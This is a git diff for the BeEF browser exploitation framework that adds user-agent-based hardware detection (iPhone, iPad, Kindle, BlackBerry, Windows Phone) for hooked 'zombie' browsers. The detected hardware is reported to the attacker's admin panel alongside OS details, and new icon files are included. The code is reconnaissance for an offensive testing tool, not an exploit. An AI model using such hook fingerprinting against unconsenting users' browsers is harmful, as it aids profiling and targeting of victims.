core/main/constants/hardware.rb | 73 +++++++++++++++++ core/main/constants/os.rb | 20 +++-- core/main/handlers/browserdetails.rb | 8 ++ core/main/handlers/modules/beefjs.rb | 4 +- core/main/models/browserdetails.rb | 27 ++++++- .../admin_ui/controllers/modules/modules.rb | 17 +++- .../admin_ui/controllers/panel/panel.rb | 6 +- .../admin_ui/media/images/icons/ios.png | Bin 0 -> 38666 bytes .../admin_ui/media/images/icons/iphone.jpg | Bin 0 -> 1721 bytes .../admin_ui/media/images/icons/iphone.png | Bin 1577 -> 0 bytes .../admin_ui/media/images/icons/kindle.png | Bin 0 -> 4408 bytes extensions/admin_ui/media/images/icons/pc.png | Bin 0 -> 2521 bytes .../admin_ui/media/images/icons/zune.gif | Bin 0 -> 1701 bytes .../media/javascript/ui/panel/ZombiesMgr.js | 4 + extensions/console/lib/shellinterface.rb | 15 ++++ 20 files changed, 259 insertions(+), 22 deletions(-) create mode 100644 core/main/client/hardware.js create mode 100644 core/main/constants/hardware.rb create mode 100644 extensions/admin_ui/media/images/icons/ios.png create mode 100644 extensions/admin_ui/media/images/icons/iphone.jpg delete mode 100644 extensions/admin_ui/media/images/icons/iphone.png create mode 100644 extensions/admin_ui/media/images/icons/kindle.png create mode 100644 extensions/admin_ui/media/images/icons/pc.png create mode 100644 extensions/admin_ui/media/images/icons/zune.gif diff --git a/core/core.rb b/core/core.rb index dc554314b..6dcff13f2 100644 --- a/core/core.rb +++ b/core/core.rb @@ -34,6 +34,7 @@ require 'core/main/constants/browsers' require 'core/main/constants/commandmodule' require 'core/main/constants/distributedengine' require 'core/main/constants/os' +require 'core/main/constants/hardware' # @note Include core modules for beef require 'core/main/configuration' diff --git a/core/filters/browser.rb b/core/filters/browser.rb index f955fb6f6..7dbcfdfc6 100644 --- a/core/filters/browser.rb +++ b/core/filters/browser.rb @@ -47,6 +47,16 @@ module Filters true end + # Check the Hardware name value - for example, 'iPhone' + # @param [String] str String for testing + # @return [Boolean] If the string has valid Hardware name characters + def self.is_valid_hwname?(str) + return false if not is_non_empty_string?(str) + return false if has_non_printable_char?(str) + return false if str.length < 2 + true + end + # Verify the browser version string is valid # @param [String] str String for testing # @return [Boolean] If the string has valid browser version characters diff --git a/core/main/client/browser.js b/core/main/client/browser.js index 762072108..9a243aad4 100644 --- a/core/main/client/browser.js +++ b/core/main/client/browser.js @@ -765,6 +765,7 @@ beef.browser = { var browser_plugins = beef.browser.getPlugins(); var date_stamp = new Date().toString(); var os_name = beef.os.getName(); + var hw_name = beef.hardware.getName(); var system_platform = (typeof(navigator.platform) != "undefined" && navigator.platform != "") ? navigator.platform : null; var browser_type = JSON.stringify(beef.browser.type(), function (key, value) {if (value == true) return value; else if (typeof value == 'object') return value; else return;}); var screen_size = beef.browser.getScreenSize(); @@ -789,6 +790,7 @@ beef.browser = { if(hostport) details["HostPort"] = hostport; if(browser_plugins) details["BrowserPlugins"] = browser_plugins; if(os_name) details['OsName'] = os_name; + if(hw_name) details['Hardware'] = hw_name; if(date_stamp) details['DateStamp'] = date_stamp; if(system_platform) details['SystemPlatform'] = system_platform; if(browser_type) details['BrowserType'] = browser_type; diff --git a/core/main/client/hardware.js b/core/main/client/hardware.js new file mode 100644 index 000000000..f498c53ac --- /dev/null +++ b/core/main/client/hardware.js @@ -0,0 +1,74 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.hardware = { + + ua: navigator.userAgent, + + isWinPhone: function() { + return (this.ua.match('(Windows Phone)')) ? true : false; + }, + + isIphone: function() { + return (this.ua.indexOf('iPhone') != -1) ? true : false; + }, + + isIpad: function() { + return (this.ua.indexOf('iPad') != -1) ? true : false; + }, + + isIpod: function() { + return (this.ua.indexOf('iPod') != -1) ? true : false; + }, + + isNokia: function() { + return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)')) ? true : false; + }, + + isBlackBerry: function() { + return (this.ua.match('BlackBerry')) ? true : false; + }, + + isZune: function() { + return (this.ua.match('ZuneWP7')) ? true : false; + }, + + isKindle: function() { + return (this.ua.match('Kindle')) ? true : false; + }, + + getName: function() { + + if(this.isNokia()) { + + if (this.ua.indexOf('Maemo Browser') != -1) return 'Maemo'; + if (this.ua.match('(SymbianOS)|(Symbian OS)')) return 'SymbianOS'; + if (this.ua.indexOf('Symbian') != -1) return 'Symbian'; + + //return 'Nokia'; + } + + if (this.isWinPhone()) return 'Windows Phone'; + if (this.isBlackBerry()) return 'BlackBerry'; + if (this.isIphone()) return 'iPhone'; + if (this.isIpad()) return 'iPad'; + if (this.isIpod()) return 'iPod'; + if (this.isKindle()) return 'Kindle'; + + return 'unknown'; + } +}; + +beef.regCmp('beef.net.hardware'); diff --git a/core/main/client/os.js b/core/main/client/os.js index c133edcc9..9ccea8a9c 100644 --- a/core/main/client/os.js +++ b/core/main/client/os.js @@ -72,7 +72,11 @@ beef.os = { isMacintosh: function() { return (this.ua.match('(Mac_PowerPC)|(Macintosh)|(MacIntel)')) ? true : false; }, - + + isWinPhone: function() { + return (this.ua.match('(Windows Phone)')) ? true : false; + }, + isIphone: function() { return (this.ua.indexOf('iPhone') != -1) ? true : false; }, @@ -97,6 +101,10 @@ beef.os = { return (this.ua.match('BlackBerry')) ? true : false; }, + isWebOS: function() { + return (this.ua.match('webOS')) ? true : false; + }, + isQNX: function() { return (this.ua.match('QNX')) ? true : false; }, @@ -139,11 +147,14 @@ beef.os = { if(this.isSunOS()) return 'Sun OS'; //iPhone - if (this.isIphone()) return 'iPhone'; + if (this.isIphone()) return 'iOS'; //iPad - if (this.isIpad()) return 'iPad'; + if (this.isIpad()) return 'iOS'; //iPod - if (this.isIpod()) return 'iPod'; + if (this.isIpod()) return 'iOS'; + + // zune + //if (this.isZune()) return 'Zune'; //macintosh if(this.isMacintosh()) { @@ -156,6 +167,7 @@ beef.os = { //others if(this.isQNX()) return 'QNX'; if(this.isBeOS()) return 'BeOS'; + if(this.isWebOS()) return 'webOS'; return 'unknown'; } diff --git a/core/main/constants/hardware.rb b/core/main/constants/hardware.rb new file mode 100644 index 000000000..63958a210 --- /dev/null +++ b/core/main/constants/hardware.rb @@ -0,0 +1,73 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +module BeEF +module Core +module Constants + + # @note The hardware's strings for hardware detection. + module Hardware + + HW_UNKNOWN_IMG = 'pc.png' + HW_IPHONE_UA_STR = 'iPhone' + HW_IPHONE_IMG = 'iphone.jpg' + HW_IPAD_UA_STR = 'iPad' + HW_IPAD_IMG = 'ipad.png' + HW_IPOD_UA_STR = 'iPod' + HW_IPOD_IMG = 'ipod.jpg' + HW_BLACKBERRY_UA_STR = 'BlackBerry' + HW_BLACKBERRY_IMG = 'blackberry.png' + HW_ANDROID_UA_STR = 'Android' + HW_ANDROID_IMG = 'android.png' + HW_WINPHONE_UA_STR = 'Windows Phone' + HW_WINPHONE_IMG = 'win.png' + HW_ZUNE_UA_STR = 'ZuneWP7' + HW_ZUNE_IMG = 'zune.gif' + HW_KINDLE_UA_STR = 'Kindle' + HW_KINDLE_IMG = 'kindle.png' + HW_ALL_UA_STR = 'All' + + # Attempt to match operating system string to constant + # @param [String] name Name of operating system + # @return [String] Constant name of matched operating system, returns 'ALL' if nothing are matched + def self.match_hardware(name) + case name.downcase + when /iphone/ + HW_IPHONE_UA_STR + when /ipad/ + HW_IPAD_UA_STR + when /ipod/ + HW_IPOD_UA_STR + when /blackberry/ + HW_BLACKBERRY_UA_STR + when /android/ + HW_ANDROID_UA_STR + when /windows phone/ + HW_WINPHONE_UA_STR + when /zune/ + HW_ZUNE_UA_STR + when /kindle/ + HW_KINDLE_UA_STR + else + 'ALL' + end + end + + end + +end +end +end diff --git a/core/main/constants/os.rb b/core/main/constants/os.rb index 2e86f1e39..15c8a1b67 100644 --- a/core/main/constants/os.rb +++ b/core/main/constants/os.rb @@ -29,17 +29,19 @@ module Constants OS_MAC_UA_STR = 'Mac' OS_MAC_IMG = 'mac.png' OS_QNX_UA_STR = 'QNX' - OS_QNX_IMG = 'qnx.ico' + OS_QNX_IMG = 'qnx.ico' OS_BEOS_UA_STR = 'BeOS' - OS_BEOS_IMG = 'beos.png' + OS_BEOS_IMG = 'beos.png' OS_OPENBSD_UA_STR = 'OpenBSD' OS_OPENBSD_IMG = 'openbsd.ico' + OS_IOS_UA_STR = 'iOS' + OS_IOS_IMG = 'ios.png' OS_IPHONE_UA_STR = 'iPhone' - OS_IPHONE_IMG = 'iphone.png' + OS_IPHONE_IMG = 'iphone.jpg' OS_IPAD_UA_STR = 'iPad' - OS_IPAD_IMG = 'ipad.png' + OS_IPAD_IMG = 'ipad.png' OS_IPOD_UA_STR = 'iPod' - OS_IPOD_IMG = 'ipod.jpg' + OS_IPOD_IMG = 'ipod.jpg' OS_MAEMO_UA_STR = 'Maemo' OS_MAEMO_IMG = 'maemo.ico' OS_BLACKBERRY_UA_STR = 'BlackBerry' @@ -65,12 +67,8 @@ module Constants OS_BEOS_UA_STR when /openbsd/ OS_OPENBSD_UA_STR - when /iphone/ - OS_IPHONE_UA_STR - when /ipad/ - OS_IPAD_UA_STR - when /ipod/ - OS_IPOD_UA_STR + when /ios/, /iphone/, /ipad/, /ipod/ + OS_IOS_UA_STR when /maemo/ OS_MAEMO_UA_STR when /blackberry/ diff --git a/core/main/handlers/browserdetails.rb b/core/main/handlers/browserdetails.rb index dfb3b8040..1ca83f165 100644 --- a/core/main/handlers/browserdetails.rb +++ b/core/main/handlers/browserdetails.rb @@ -118,6 +118,14 @@ module BeEF self.err_msg "Invalid operating system name returned from the hook browser's initial connection." end + # get and store the hardware name + hw_name = get_param(@data['results'], 'Hardware') + if BeEF::Filters.is_valid_hwname?(hw_name) + BD.set(session_id, 'Hardware', hw_name) + else + self.err_msg "Invalid hardware name returned from the hook browser's initial connection." + end + # get and store the date date_stamp = get_param(@data['results'], 'DateStamp') if BeEF::Filters.is_valid_date_stamp?(date_stamp) diff --git a/core/main/handlers/modules/beefjs.rb b/core/main/handlers/modules/beefjs.rb index 92473876d..b7ca90bae 100644 --- a/core/main/handlers/modules/beefjs.rb +++ b/core/main/handlers/modules/beefjs.rb @@ -32,9 +32,9 @@ module Modules # @note we load websocket library only if ws server is enabled in config.yalm # check in init.js if config.get("beef.http.websocket.enable") - js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js websocket.js) + js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js websocket.js) else - js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js) + js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js) end # @note construct the beefjs string from file(s) diff --git a/core/main/models/browserdetails.rb b/core/main/models/browserdetails.rb index 8a8f79c61..ae3868691 100644 --- a/core/main/models/browserdetails.rb +++ b/core/main/models/browserdetails.rb @@ -94,9 +94,10 @@ module Models return BeEF::Core::Constants::Os::OS_QNX_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_QNX_UA_STR return BeEF::Core::Constants::Os::OS_BEOS_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_BEOS_UA_STR return BeEF::Core::Constants::Os::OS_OPENBSD_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_OPENBSD_UA_STR - return BeEF::Core::Constants::Os::OS_IPHONE_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_IPHONE_UA_STR - return BeEF::Core::Constants::Os::OS_IPAD_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_IPAD_UA_STR - return BeEF::Core::Constants::Os::OS_IPOD_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_IPOD_UA_STR + return BeEF::Core::Constants::Os::OS_WEBOS_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_WEBOS_UA_STR + return BeEF::Core::Constants::Os::OS_IOS_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_IPHONE_UA_STR + return BeEF::Core::Constants::Os::OS_IOS_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_IPAD_UA_STR + return BeEF::Core::Constants::Os::OS_IOS_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_IPOD_UA_STR return BeEF::Core::Constants::Os::OS_MAEMO_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_MAEMO_UA_STR return BeEF::Core::Constants::Os::OS_MAC_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_MAC_UA_STR return BeEF::Core::Constants::Os::OS_BLACKBERRY_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_BLACKBERRY_UA_STR @@ -105,6 +106,26 @@ module Models BeEF::Core::Constants::Os::OS_UNKNOWN_IMG end + # + # Returns the icon representing the hardware the + # zombie is running on (i.e. iPhone, BlackBerry) + # + def self.hw_icon(session_id) + + ua_string = get(session_id, 'BrowserReportedName') + + return BeEF::Core::Constants::Hardware::HW_UNKNOWN_IMG if ua_string.nil? + + return BeEF::Core::Constants::Hardware::HW_WINPHONE_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_WINPHONE_UA_STR + return BeEF::Core::Constants::Hardware::HW_ZUNE_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_ZUNE_UA_STR + return BeEF::Core::Constants::Hardware::HW_IPHONE_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_IPHONE_UA_STR + return BeEF::Core::Constants::Hardware::HW_IPAD_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_IPAD_UA_STR + return BeEF::Core::Constants::Hardware::HW_IPOD_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_IPOD_UA_STR + + BeEF::Core::Constants::Hardware::HW_UNKNOWN_IMG + + end + end end diff --git a/extensions/admin_ui/controllers/modules/modules.rb b/extensions/admin_ui/controllers/modules/modules.rb index b30573a0d..827f6c241 100644 --- a/extensions/admin_ui/controllers/modules/modules.rb +++ b/extensions/admin_ui/controllers/modules/modules.rb @@ -136,7 +136,7 @@ class Modules < BeEF::Extension::AdminUI::HttpController # set and add the return values for the os name os_name = BD.get(zombie_session, 'OsName') - if not host_name.nil? + if not os_name.nil? encoded_os_name = CGI.escapeHTML(os_name) encoded_os_name_hash = { 'OS Name' => encoded_os_name } @@ -148,6 +148,21 @@ class Modules < BeEF::Extension::AdminUI::HttpController summary_grid_hash['results'].push(page_name_row) # add the row end + + # set and add the return values for the hardware name + hw_name = BD.get(zombie_session, 'Hardware') + if not hw_name.nil? + encoded_hw_name = CGI.escapeHTML(hw_name) + encoded_hw_name_hash = { 'Hardware' => encoded_hw_name } + + page_name_row = { + 'category' => 'Host', + 'data' => encoded_hw_name_hash, + 'from' => 'Initialization' + } + + summary_grid_hash['results'].push(page_name_row) # add the row + end # set and add the return values for the browser name browser_name = BD.get(zombie_session, 'BrowserName') diff --git a/extensions/admin_ui/controllers/panel/panel.rb b/extensions/admin_ui/controllers/panel/panel.rb index c67ec41f7..56b6a708c 100644 --- a/extensions/admin_ui/controllers/panel/panel.rb +++ b/extensions/admin_ui/controllers/panel/panel.rb @@ -90,10 +90,12 @@ class Panel < BeEF::Extension::AdminUI::HttpController browser_icon = BeEF::Core::Models::BrowserDetails.browser_icon(hooked_browser.session) os_icon = BeEF::Core::Models::BrowserDetails.os_icon(hooked_browser.session) os_name = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'OsName') + hw_icon = BeEF::Core::Models::BrowserDetails.hw_icon(hooked_browser.session) + hw_name = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'Hardware') domain = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HostName') has_flash = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasFlash') has_web_sockets = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasWebSocket') - date_stamp = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'DateStamp') + date_stamp = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'DateStamp') return { 'session' => hooked_browser.session, @@ -105,6 +107,8 @@ class Panel < BeEF::Extension::AdminUI::HttpController 'browser_icon' => browser_icon, 'os_icon' => os_icon, 'os_name' => os_name, + 'hw_icon' => hw_icon, + 'hw_name' => hw_name, 'has_flash' => has_flash, 'has_web_sockets' => has_web_sockets, 'date_stamp' => date_stamp diff --git a/extensions/admin_ui/media/images/icons/ios.png b/extensions/admin_ui/media/images/icons/ios.png new file mode 100644 index 0000000000000000000000000000000000000000..de94a27ce9682ce1ce4d2c84248b879043ffdb9c GIT binary patch literal 38666 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¨_I7(a}HJ^_A2`jm;b!?oaGrHY+LO?Ff#wYyTIa zPH+=H%LqW(;HgzUV8bqAX}tY~BL3372)70w*>ab=O3ipFL2r>6_Q9^X*@$qqF{cOJd?xkteAHb5i20G}Ltl&6gYiga0^t$>P%e8VI z!fdmpqh(dlr#(v&>6Vwl_3La?w2d0kui1f2tO0crRALAig+O1T3#;-4T?2!SZGDkI z_q~C34C3d%N2ifanAKprL~!DSM)CI7y1sY9Vs%vwe>k+70Qa z_0oqH5%@}jMNod*=;mKXSRXc6wF;}UKyMp1wg2g8Z0hmcTV0H}FBiNM=jcKL(Eg|1 zIfBc}&ySBs2JJdZ8@2j$f5Zz$fXt##d<-Klt9Lwuj;-$0eIsv3FlNOHRKF=M6!H6N zGyNfIm->oZ!0h(gMt7hC-&M=D^Yv|KJc}_08P~<#Ca-D$HYO-K@8%Jr%U2%x-A&i# z5lmLcUxwg?Hz19(#mgA&vP`G!PKgJ<7@`l~#F)^56>B4lv;NX2=iOCq59QU@Tk8t+ zKm&U(gPmdcfk-xuZ}SQdg-zPkc<}f*^ZM%R*2||^ug~kJU5c)9rx{To-%*6(8iB_s z>K(;WSVFtUscQhhR7_m8T6;49fS{4Lm#c1JX?a_ z;fUV{onkR82KKERDBDkwowJ16%3{nFmLA6;zfg)n>u+aleoCR-THk_QTsq@& z<^lIFJU46XZ_;16HHgxXbP!E-kh6zoOjD&xWowAsse#9Ha=I|=_H16;%*n3UdTQZW zu}!<68_5EYv#EnZSD6-zZqwS@n!{>~Hga_cj&C7}H@GH6ViwYs^^PFvS*!PcUNn#5SNh4bp+4MEH;Mcf0=cZ+*D#O?Me$N<>q}@!;jh*li~Yr zbmX;WM!jG%1b-GrpL{zpI34CU@g4IrPPFrC0-kh7P69um@98JcrrX}L>QcU5TgLy; z-$;bGy@Nw(?DX_h>V&2UZ3J<4=bX$T{K}!&2~5a-p*Uj9zPXj3ou8kTlUMzgErjrF zfq=`=l+DIzqbLGsPZ^g{PE+CM?YSA2?ru{?%c-diayhTl6$~q(VCGy26&*)Z|Fn1Z zcK0;5bYu^)9sl!KYj2{N%@PSdG#~QMw09~6 z)Zc~KvGlHPuV?3Hxe%5cRxi=m(IiYSo;RPKjz{~}YQV$paI-%$Kn$$h32H)Bm~O>0 z$R(ez;Iz8*(6E>oj?`+)(zWk1(r)?Gy`zDjZR_VArPkB6XNU9Py%5(U3t|{6Vt`J_@tflnn`AuW$Y`%9 z-%f4Ux*0F@^g;J{7_zK_MK#9gv}Na#_0{$DH5Yzdw^sJZjaPO_#ZF|vVElFap>3sp z9aM->t(Ki8rklVC@Ik=ZXV5VC#=}m|aX7zE%i-e6$==bRx2Fw6tAJ43`sViLDhOex zNM;IaLs=zLBFga6rin@axFfdjsjM7tZ$E8sU#mPFr?|g)idBun4f!i!YFvt`j{;a? zsc!@r>ggH%2m036oH$!rym+{|y}TZu2;Qc(FzTcUM?)iZj3wCO^Tg6jW?h_@X}#zV z&mQcFwm%1w+A(NwlnVG7S?m3H|13B>7pnkD>M4BR5m0*qoiha-{R$pF1Fd{44*!)Z zD2u#pp519xZ*8w_pGvD{Pk2^u*?Sf_(nJK!UGE{eu`RWImz!*2beZ2M&(}+Icwz z^=`!%b4Kr3R%3;T#TIE*Lo109(%8^k9`uGGm1ek&R z(9O*br3WG3iYC2;j3qoAsXSN)0WnxZQ-JGE42f9X>$e;#_j|{%d8I~ZK=fTWd3Mdx z_WKdfmLDJjmbmL_VC#6Il+;ddwp(5d&{cW;N*|HxuDT<$V`9|f4{Rh6^Z}j$mptsl zY{_OiZm^4arL?;U20QISUF^MZJv>~|UoT0bhuDlBPJu+gDw2}>txnEC#g5TO?r%n=ZKNZv(+uGhQ+*m~3E{3bM z>+9-j7UqdtO){iZlZP5!b}ph6j@p##$ zBSRQkU(sX+4oT2^`>~Pt={oRy$J!Ia`&#g<3`_{$-rDAg42#aJ))E7m+Tu2~kB&l^ zsLLg|;*Mpfz?o{7VN;CWY6*y^(4Gb(Jmc-ElJ{%y*4_PcYy)sR=Lfi-f!%iY!tKZc z`URB#zOq)xGzihE_PI@)O!(LV@m~SA>&0fDTN7#c>;)%(0<)5m~9M$hN8ligC@Y)Vuyj zu`$+c6DWc@cvSxE=Au7&r)4W8q)Nue9vfsBjUO6=@96xSE@Ra@ljAcH*3C zSO1KNhRkt9$BLLsHH*DTV!s6oU$N)E{%yCiD&M{vfdzbpc=a9&i8MKzN5ZY$mGNzm z;QLvp6n9JSpIR9`ueTEW-R?Cnr6Ki6H~)ZSLBm=T#FP(j1-B00sJrgpDC4tb)?w;H zv=pAi8U>~@6THA=#*&Q^b|XYcfEhL|g&&97t=nGn;KwP!nvPi(x8rz_k3RMroVb%s zL|VJ8H07zaBWigRY55!rki1SCeJ#OW_kwLpClLh@F^l#wWMq84#ux?eRUSV+K6!cJ zpP!!xN3b#uQisLty)+EUW29hkq^PH$Hfz`!-x}W++8a|b?w$y1B$Gyq=_S^1ZT}(K z^mJYwC6B)CRqEVuWI*-Ip4Ku83bJ!^>up>a+WH9wm4J+Bo*Ei=QATdl@}r>`Jk~^~ z!+CeJnB=oBO89v@g$8HhaPE&Gkqqarq7TdSN*u%2Pn3NByO)?r9<9Cu$T>#B42P9! zt{HpQJ`2V=DC^7J9Xf4WApHB7%-2R_7@UC%X4;?3(ym}b#b_%u9j1x+fhDjUIBt>e zJNVy*wm*sWk-T$u&c##lJf62_hzT|0j;;dDV6X8I+K`>IL+*Q7MLzU;fzd&a(MGv> zS@fdbe$N@j6S^AklL3&(N5iFQ^+ETYMqe{e^@csj&tQIS-Ay$AO0@EFGc#*6CYpT% zEIn;KJz+j`V4#+5!Q&_Y20X~S48ZTxfBdc|zTj+2EMfhL=T)e7mP!4W^ax@FkzB%? zNG^3?!NJ~Mw6FcopRPY0FtZ!|iWJ_pOkfr~5Md1{(&)L|-XaZ?42L_b^X*Y2fs-I* z_3#LJe@!9gLibl-#^kHI1h>Kv1bFqfdk4HkWEg%PJ&^<*tsNIhDlXIP>c0O*goPJG z#_htFtZ-iL)9kxd>^CR+t$h!%GTKEA<8h(N-3BmP) zm4T-YRVZNz9vF(v$R;PJ*3Rzcrj=EPR?;qeQ^YxO<>oCLZV(Rf^eX)sbX9!)Rq$2* zbp_(zjdec?7>}wCF0X#~Y%>;$?W~%wA1xoX_Pl+td|YaSjvk-ZCB+W8>V;nvHXBzD z4~z2=#coaa92^|?_ii%rQ!CWAWD}E}I|(6a!A-hpJC($^;F*=nEW72X{Hin1JW%%B zmHIN{w2|Qz31Ff7d$*3L*!@a&S2AyJwM$EBb}MyEOiZ=GJY7xS3pF65i`oIP3&_x! 